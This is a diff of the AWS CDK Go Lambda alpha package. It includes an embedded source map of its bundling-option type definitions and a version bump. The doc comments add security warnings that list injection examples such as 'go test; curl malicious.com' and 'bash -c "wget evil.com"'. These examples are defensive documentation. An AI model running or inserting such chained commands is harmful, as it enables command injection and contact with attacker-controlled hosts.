WxjdWxhdGVkXG4gICAqIGFmdGVyIGJ1bmRsaW5nLiBUaGlzIG1lYW5zIHRoYXQgYW55IGNoYW5nZSBpbiB0aGUgb3V0cHV0IHdpbGwgY2F1c2VcbiAgICogdGhlIGFzc2V0IHRvIGJlIGludmFsaWRhdGVkIGFuZCB1cGxvYWRlZC4gQmVhciBpbiBtaW5kIHRoYXQgdGhlXG4gICAqIGdvIGJpbmFyeSB0aGF0IGlzIG91dHB1dCBjYW4gYmUgZGlmZmVyZW50IGRlcGVuZGluZyBvbiB0aGUgZW52aXJvbm1lbnRcbiAgICogdGhhdCBpdCB3YXMgY29tcGlsZWQgaW4uIElmIHlvdSB3YW50IHRvIGNvbnRyb2wgd2hlbiB0aGUgb3V0cHV0IGlzIGNoYW5nZWRcbiAgICogaXQgaXMgcmVjb21tZW5kZWQgdGhhdCB5b3UgdXNlIGltbXV0YWJsZSBidWlsZCBpbWFnZXMgc3VjaCBhc1xuICAgKiBgcHVibGljLmVjci5hd3MvYml0bmFtaS9nb2xhbmc6MS4xNi4zLWRlYmlhbi0xMC1yMTZgLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYFNPVVJDRWAsIHRoZW4gb25seSBjaGFuZ2VzIHRvIHRoZSBzb3VyY2VcbiAgICogZGlyZWN0b3J5IHdpbGwgY2F1c2UgdGhlIGFzc2V0IHRvIHJlYnVpbGQuIElmIHlvdXIgZ28gcHJvamVjdCBoYXMgbXVsdGlwbGVcbiAgICogTGFtYmRhIGZ1bmN0aW9ucyB0aGlzIG1lYW5zIHRoYXQgYW4gdXBkYXRlIHRvIGFueSBvbmUgZnVuY3Rpb24gY291bGQgY2F1c2VcbiAgICogYWxsIHRoZSBmdW5jdGlvbnMgdG8gYmUgcmVidWlsdCBhbmQgdXBsb2FkZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gQXNzZXRIYXNoVHlwZS5PVVRQVVQuIElmIGBhc3NldEhhc2hgIGlzIGFsc28gc3BlY2lmaWVkLFxuICAgKiB0aGUgZGVmYXVsdCBpcyBgQ1VTVE9NYC5cbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaFR5cGU/OiBBc3NldEhhc2hUeXBlO1xuXG4gIC8qKlxuICAgKiBTcGVjaWZ5IGEgY3VzdG9tIGhhc2ggZm9yIHRoaXMgYXNzZXQuIElmIGBhc3NldEhhc2hUeXBlYCBpcyBzZXQgaXQgbXVzdFxuICAgKiBiZSBzZXQgdG8gYEFzc2V0SGFzaFR5cGUuQ1VTVE9NYC4gRm9yIGNvbnNpc3RlbmN5LCB0aGlzIGN1c3RvbSBoYXNoIHdpbGxcbiAgICogYmUgU0hBMjU2IGhhc2hlZCBhbmQgZW5jb2RlZCBhcyBoZXguIFRoZSByZXN1bHRpbmcgaGFzaCB3aWxsIGJlIHRoZSBhc3NldFxuICAgKiBoYXNoLlxuICAgKlxuICAgKiBOT1RFOiB0aGUgaGFzaCBpcyB1c2VkIGluIG9yZGVyIHRvIGlkZW50aWZ5IGEgc3BlY2lmaWMgcmV2aXNpb24gb2YgdGhlIGFzc2V0LCBhbmRcbiAgICogdXNlZCBmb3Igb3B0aW1pemluZyBhbmQgY2FjaGluZyBkZXBsb3ltZW50IGFjdGl2aXRpZXMgcmVsYXRlZCB0byB0aGlzIGFzc2V0IHN1Y2ggYXNcbiAgICogcGFja2FnaW5nLCB1cGxvYWRpbmcgdG8gQW1hem9uIFMzLCBldGMuIElmIHlvdSBjaG9zZSB0byBjdXN0b21pemUgdGhlIGhhc2gsIHlvdSB3aWxsXG4gICAqIG5lZWQgdG8gbWFrZSBzdXJlIGl0IGlzIHVwZGF0ZWQgZXZlcnkgdGltZSB0aGUgYXNzZXQgY2hhbmdlcywgb3Igb3RoZXJ3aXNlIGl0IGlzXG4gICAqIHBvc3NpYmxlIHRoYXQgc29tZSBkZXBsb3ltZW50cyB3aWxsIG5vdCBiZSBpbnZhbGlkYXRlZC5cbiAgICpcbiAgICogQGRlZmF1bHQgLSBiYXNlZCBvbiBgYXNzZXRIYXNoVHlwZWBcbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaD86IHN0cmluZztcblxuICAvKipcbiAgICogQ29tbWFuZCBob29rc1xuICAgKlxuICAgKiBAZGVmYXVsdCAtIGRvIG5vdCBydW4gYWRkaXRpb25hbCBjb21tYW5kc1xuICAgKi9cbiAgcmVhZG9ubHkgY29tbWFuZEhvb2tzPzogSUNvbW1hbmRIb29rcztcblxuICAvKipcbiAgICogV2hldGhlciBvciBub3QgdG8gZW5hYmxlIGNnbyBkdXJpbmcgZ28gYnVpbGRcbiAgICpcbiAgICogVGhpcyB3aWxsIHNldCB0aGUgQ0dPX0VOQUJMRUQgZW52aXJvbm1lbnQgdmFyaWFibGVcbiAgICpcbiAgICogQGRlZmF1bHQgLSBmYWxzZVxuICAgKi9cbiAgcmVhZG9ubHkgY2dvRW5hYmxlZD86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIFdoYXQgR28gcHJveGllcyB0byB1c2UgdG8gZmV0Y2ggdGhlIHBhY2thZ2VzIGludm9sdmVkIGluIHRoZSBidWlsZFxuICAgKlxuICAgKiBQYXNzIGEgbGlzdCBvZiBwcm94eSBhZGRyZXNzZXMgaW4gb3JkZXIsIGFuZC9vciB0aGUgc3RyaW5nIGAnZGlyZWN0J2AgdG9cbiAgICogYXR0ZW1wdCBkaXJlY3QgYWNjZXNzLlxuICAgKlxuICAgKiBCeSBkZWZhdWx0IHRoaXMgY29uc3RydWN0IHVzZXMgbm8gcHJveGllcywgYnV0IGEgc3RhbmRhcmQgR28gaW5zdGFsbCB3b3VsZFxuICAgKiB1c2UgdGhlIEdvb2dsZSBwcm94eSBieSBkZWZhdWx0LiBUbyByZWNyZWF0ZSB0aGF0IGJlaGF2aW9yLCBkbyB0aGUgZm9sbG93aW5nOlxuICAgKlxuICAgKiBgYGB0c1xuICAgKiBuZXcgZ28uR29GdW5jdGlvbih0aGlzLCAnR29GdW5jdGlvbicsIHtcbiAgICogICBlbnRyeTogJ2FwcC9jbWQvYXBpJyxcbiAgICogICBidW5kbGluZzoge1xuICAgKiAgICAgZ29Qcm94aWVzOiBbZ28uR29GdW5jdGlvbi5HT09HTEVfR09QUk9YWSwgJ2RpcmVjdCddLFxuICAgKiAgIH0sXG4gICAqIH0pO1xuICAgKiBgYGBcbiAgICpcbiAgICogQGRlZmF1bHQgLSBEaXJlY3QgYWNjZXNzXG4gICAqL1xuICByZWFkb25seSBnb1Byb3hpZXM/OiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogV2hpY2ggb3B0aW9uIHRvIHVzZSB0byBjb3B5IHRoZSBzb3VyY2UgZmlsZXMgdG8gdGhlIGRvY2tlciBjb250YWluZXIgYW5kIG91dHB1dCBmaWxlcyBiYWNrXG4gICAqIEBkZWZhdWx0IC0gQnVuZGxpbmdGaWxlQWNjZXNzLkJJTkRfTU9VTlRcbiAgICovXG4gIHJlYWRvbmx5IGJ1bmRsaW5nRmlsZUFjY2Vzcz86IEJ1bmRsaW5nRmlsZUFjY2Vzcztcbn1cblxuLyoqXG4gKiBDb21tYW5kIGhvb2tzXG4gKlxuICogVGhlc2UgY29tbWFuZHMgd2lsbCBydW4gaW4gdGhlIGVudmlyb25tZW50IGluIHdoaWNoIGJ1bmRsaW5nIG9jY3VyczogaW5zaWRlXG4gKiB0aGUgY29udGFpbmVyIGZvciBEb2NrZXIgYnVuZGxpbmcgb3Igb24gdGhlIGhvc3QgT1MgZm9yIGxvY2FsIGJ1bmRsaW5nLlxuICpcbiAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAqXG4gKiBgYGB0ZXh0XG4gKiB7XG4gKiAgIC8vIFJ1biB0ZXN0cyBwcmlvciB0byBidW5kbGluZ1xuICogICBiZWZvcmVCdW5kbGluZyhpbnB1dERpcjogc3RyaW5nLCBvdXRwdXREaXI6IHN0cmluZyk6IHN0cmluZ1tdIHtcbiAqICAgICByZXR1cm4gW2BnbyB0ZXN0IC1tb2Q9dmVuZG9yIC4vLi4uYF07XG4gKiAgIH1cbiAqICAgLy8gLi4uXG4gKiB9XG4gKiBgYGBcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBJQ29tbWFuZEhvb2tzIHtcbiAgLyoqXG4gICAqIFJldHVybnMgY29tbWFuZHMgdG8gcnVuIGJlZm9yZSBidW5kbGluZy5cbiAgICpcbiAgICogQ29tbWFuZHMgYXJlIGNoYWluZWQgd2l0aCBgJiZgLlxuICAgKi9cbiAgYmVmb3JlQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogUmV0dXJucyBjb21tYW5kcyB0byBydW4gYWZ0ZXIgYnVuZGxpbmcuXG4gICAqXG4gICAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAgICovXG4gIGFmdGVyQnVuZGxpbmcoaW5wdXREaXI6IHN0cmluZywgb3V0cHV0RGlyOiBzdHJpbmcpOiBzdHJpbmdbXTtcbn1cbiJdfQ==
+//# sourceMappingURL=data:application/json;base64,{"version":3,"file":"types.js","sourceRoot":"","sources":["types.ts"],"names":[],"mappings":"","sourcesContent":["import { AssetHashType, BundlingFileAccess, DockerImage, DockerRunOptions } from 'aws-cdk-lib/core';\n\n/**\n * Bundling options\n */\nexport interface BundlingOptions extends DockerRunOptions {\n  /**\n   * Force bundling in a Docker container even if local bundling is\n   * possible.\n   *\n   * @default - false\n   */\n  readonly forcedDockerBundling?: boolean;\n\n  /**\n   * A custom bundling Docker image.\n   *\n   * @default - use the Docker image provided by @aws-cdk/aws-lambda-go-alpha\n   */\n  readonly dockerImage?: DockerImage;\n\n  /**\n   * List of additional flags to use while building.\n   *\n   * For example:\n   * ['ldflags \"-s -w\"']\n   *\n   * ⚠️ **Security Warning**: These flags are passed directly to the Go build command.\n   * Only use trusted values as they can execute arbitrary commands during bundling.\n   * Avoid flags like `-toolexec` with untrusted arguments, and be cautious with\n   * third-party CDK constructs that may contain malicious build flags.\n   *\n   * @default - none\n   */\n  readonly goBuildFlags?: string[];\n\n  /**\n   * Build arguments to pass when building the bundling image.\n   *\n   * @default - no build arguments are passed\n   */\n  readonly buildArgs?: { [key:string] : string };\n\n  /**\n   * Determines how the asset hash is calculated. Assets will\n   * get rebuilt and uploaded only if their hash has changed.\n   *\n   * If the asset hash is set to `OUTPUT` (default), the hash is calculated\n   * after bundling. This means that any change in the output will cause\n   * the asset to be invalidated and uploaded. Bear in mind that the\n   * go binary that is output can be different depending on the environment\n   * that it was compiled in. If you want to control when the output is changed\n   * it is recommended that you use immutable build images such as\n   * `public.ecr.aws/bitnami/golang:1.16.3-debian-10-r16`.\n   *\n   * If the asset hash is set to `SOURCE`, then only changes to the source\n   * directory will cause the asset to rebuild. If your go project has multiple\n   * Lambda functions this means that an update to any one function could cause\n   * all the functions to be rebuilt and uploaded.\n   *\n   * @default - AssetHashType.OUTPUT. If `assetHash` is also specified,\n   * the default is `CUSTOM`.\n   */\n  readonly assetHashType?: AssetHashType;\n\n  /**\n   * Specify a custom hash for this asset. If `assetHashType` is set it must\n   * be set to `AssetHashType.CUSTOM`. For consistency, this custom hash will\n   * be SHA256 hashed and encoded as hex. The resulting hash will be the asset\n   * hash.\n   *\n   * NOTE: the hash is used in order to identify a specific revision of the asset, and\n   * used for optimizing and caching deployment activities related to this asset such as\n   * packaging, uploading to Amazon S3, etc. If you chose to customize the hash, you will\n   * need to make sure it is updated every time the asset changes, or otherwise it is\n   * possible that some deployments will not be invalidated.\n   *\n   * @default - based on `assetHashType`\n   */\n  readonly assetHash?: string;\n\n  /**\n   * Command hooks\n   *\n   * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.\n   * Only use trusted commands from verified sources. Avoid shell metacharacters\n   * that could enable command injection attacks.\n   *\n   * @default - do not run additional commands\n   */\n  readonly commandHooks?: ICommandHooks;\n\n  /**\n   * Whether or not to enable cgo during go build\n   *\n   * This will set the CGO_ENABLED environment variable\n   *\n   * @default - false\n   */\n  readonly cgoEnabled?: boolean;\n\n  /**\n   * What Go proxies to use to fetch the packages involved in the build\n   *\n   * Pass a list of proxy addresses in order, and/or the string `'direct'` to\n   * attempt direct access.\n   *\n   * By default this construct uses no proxies, but a standard Go install would\n   * use the Google proxy by default. To recreate that behavior, do the following:\n   *\n   * ```ts\n   * new go.GoFunction(this, 'GoFunction', {\n   *   entry: 'app/cmd/api',\n   *   bundling: {\n   *     goProxies: [go.GoFunction.GOOGLE_GOPROXY, 'direct'],\n   *   },\n   * });\n   * ```\n   *\n   * @default - Direct access\n   */\n  readonly goProxies?: string[];\n\n  /**\n   * Which option to use to copy the source files to the docker container and output files back\n   * @default - BundlingFileAccess.BIND_MOUNT\n   */\n  readonly bundlingFileAccess?: BundlingFileAccess;\n}\n\n/**\n * Command hooks\n *\n * These commands will run in the environment in which bundling occurs: inside\n * the container for Docker bundling or on the host OS for local bundling.\n *\n * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.\n * Only use trusted commands and avoid shell metacharacters that could enable\n * command injection attacks.\n *\n * **Safe patterns (cross-platform):**\n * - `go test ./...` - Standard Go commands work on all platforms\n * - `go mod tidy` - Go module commands\n * - `echo \"Building\"` - Simple output with quotes\n * - `make clean` - Build tools (if available)\n *\n * **Dangerous patterns to avoid:**\n *\n * *Windows:*\n * - `go test & curl.exe malicious.com` (command chaining)\n * - `echo %USERPROFILE%` (environment variable expansion)\n * - `powershell -Command \"...\"` (PowerShell execution)\n *\n * *Unix/Linux/macOS:*\n * - `go test; curl malicious.com` (command chaining)\n * - `echo $(whoami)` (command substitution)\n * - `bash -c \"wget evil.com\"` (shell execution)\n *\n * Commands are chained with `&&`.\n *\n * @see https://docs.aws.amazon.com/cdk/latest/guide/security.html\n */\nexport interface ICommandHooks {\n  /**\n   * Returns commands to run before bundling.\n   *\n   * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.\n   * Commands are executed directly in the shell environment.\n   *\n   * Commands are chained with `&&`.\n   */\n  beforeBundling(inputDir: string, outputDir: string): string[];\n\n  /**\n   * Returns commands to run after bundling.\n   *\n   * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.\n   * Commands are executed directly in the shell environment.\n   *\n   * Commands are chained with `&&`.\n   */\n  afterBundling(inputDir: string, outputDir: string): string[];\n}\n"]}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@aws-cdk/aws-lambda-go-alpha",
-  "version": "2.222.0-alpha.0",
+  "version": "2.224.0-alpha.0",
   "description": "The CDK Construct Library for AWS Lambda in Golang",
   "main": "lib/index.js",
   "types": "lib/index.d.ts",
@@ -78,18 +78,18 @@
   },
   "license": "Apache-2.0",
   "devDependencies": {
-    "@aws-cdk/cdk-build-tools": "2.222.0-alpha.0",
+    "@aws-cdk/cdk-build-tools": "2.224.0-alpha.0",
     "@aws-cdk/integ-runner": "^2.190.2",
-    "@aws-cdk/integ-tests-alpha": "2.222.0-alpha.0",
-    "@aws-cdk/pkglint": "2.222.0-alpha.0",
+    "@aws-cdk/integ-tests-alpha": "2.224.0-alpha.0",
+    "@aws-cdk/pkglint": "2.224.0-alpha.0",
     "@types/jest": "^29.5.14",
-    "aws-cdk-lib": "2.222.0",
+    "aws-cdk-lib": "2.224.0",
     "constructs": "^10.0.0"
   },
   "dependencies": {},
   "homepage": "https://github.com/aws/aws-cdk",
   "peerDependencies": {
-    "aws-cdk-lib": "^2.222.0",
+    "aws-cdk-lib": "^2.224.0",
     "constructs": "^10.0.0"
   },
   "engines": {